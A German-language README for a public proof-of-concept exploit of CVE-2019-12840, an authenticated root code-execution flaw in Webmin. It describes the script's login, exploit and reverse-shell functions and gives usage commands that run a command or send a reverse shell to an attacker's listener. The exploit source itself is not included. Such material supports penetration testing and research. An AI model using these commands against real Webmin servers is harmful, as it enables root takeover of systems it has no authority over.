
Dies ist ein eigener und einfacher Proof of Concept der Schwachstelle CVE-2019-12840, die dir einen RCE als root ermöglicht.
Dieses Repository enthält ein Python-Skript, das die Schwachstelle CVE-2019-12840 in Webmin ausnutzt.
Das Skript versucht, sich bei einem Webmin-Server anzumelden und anschließend die Schwachstelle CVE-2019-12840 auszunutzen. Das Skript akzeptiert mehrere Befehlszeilenargumente, einschließlich des Benutzernamens und des Passworts für die Anmeldung am Webmin-Server, der URL des Servers, des Server-Ports, des lokalen Ports für die Reverse Shell sowie eines Befehls, der auf dem Server ausgeführt werden soll.
Um dieses Skript zu verwenden, musst du mindestens den Benutzernamen, das Passwort und die URL des Webmin-Servers angeben. Hier ist ein Beispiel, wie du das Skript verwendest:
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
Das Python-Skript in diesem Repository ist wie folgt aufgebaut:
Importieren von Modulen: Das Skript beginnt mit dem Importieren mehrerer für seine Funktion notwendiger Python-Module. Dazu gehören requests für HTTP-Anfragen, argparse für die Verarbeitung von Befehlszeilenargumenten, base64 für die Base64-Kodierung und -Dekodierung sowie BeautifulSoup zum Parsen von HTML.
Definieren von Funktionen: Das Skript definiert mehrere Funktionen:
CVE_2019_12840(url,auth_base64,cmd): Diese Funktion sendet eine POST-Anfrage an eine bestimmte URL mit einer bestimmten Nutzlast und überprüft die Antwort.login(username,password,url): Diese Funktion versucht, sich mit einem bereitgestellten Benutzernamen und Passwort beim Webmin-Server anzumelden.exploit(sid,url,cmd): Diese Funktion versucht, die Schwachstelle CVE-2019-12840 auf dem Webmin-Server auszunutzen.b64revshell(lhost,lport): Diese Funktion erzeugt eine Base64-kodierte Reverse Shell.Verarbeiten von Befehlszeilenargumenten: Das Skript akzeptiert mehrere Befehlszeilenargumente, einschließlich des Benutzernamens und des Passworts für die Anmeldung am Webmin-Server, der URL des Servers, des Server-Ports, des lokalen Ports für die Reverse Shell sowie eines Befehls, der auf dem Server ausgeführt werden soll.
Ausführen des Exploits: Wenn das Skript als eigenständiges Programm ausgeführt wird (anstatt als Modul importiert zu werden), versucht es, sich beim Webmin-Server anzumelden und führt anschließend den Exploit aus.
Das Skript akzeptiert mehrere Befehlszeilenargumente. Hier ist ein Beispiel, wie du das Skript verwendest:
python3 CVE-2019-12840.py -h
Dies zeigt die Programmhilfe an, die Folgendes enthält:
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
Dieses Skript ist ein Sicherheits-Exploit und sollte nur für legitime Zwecke verwendet werden, wie z. B. Penetrationstests oder Sicherheitsforschung. Es darf nicht für illegale Aktivitäten verwendet werden. Darüber hinaus ist dieses Skript für die Verwendung mit Webmin-Servern konzipiert, die anfällig für CVE-2019-12840 sind, daher funktioniert es möglicherweise nicht mit allen Webmin-Versionen.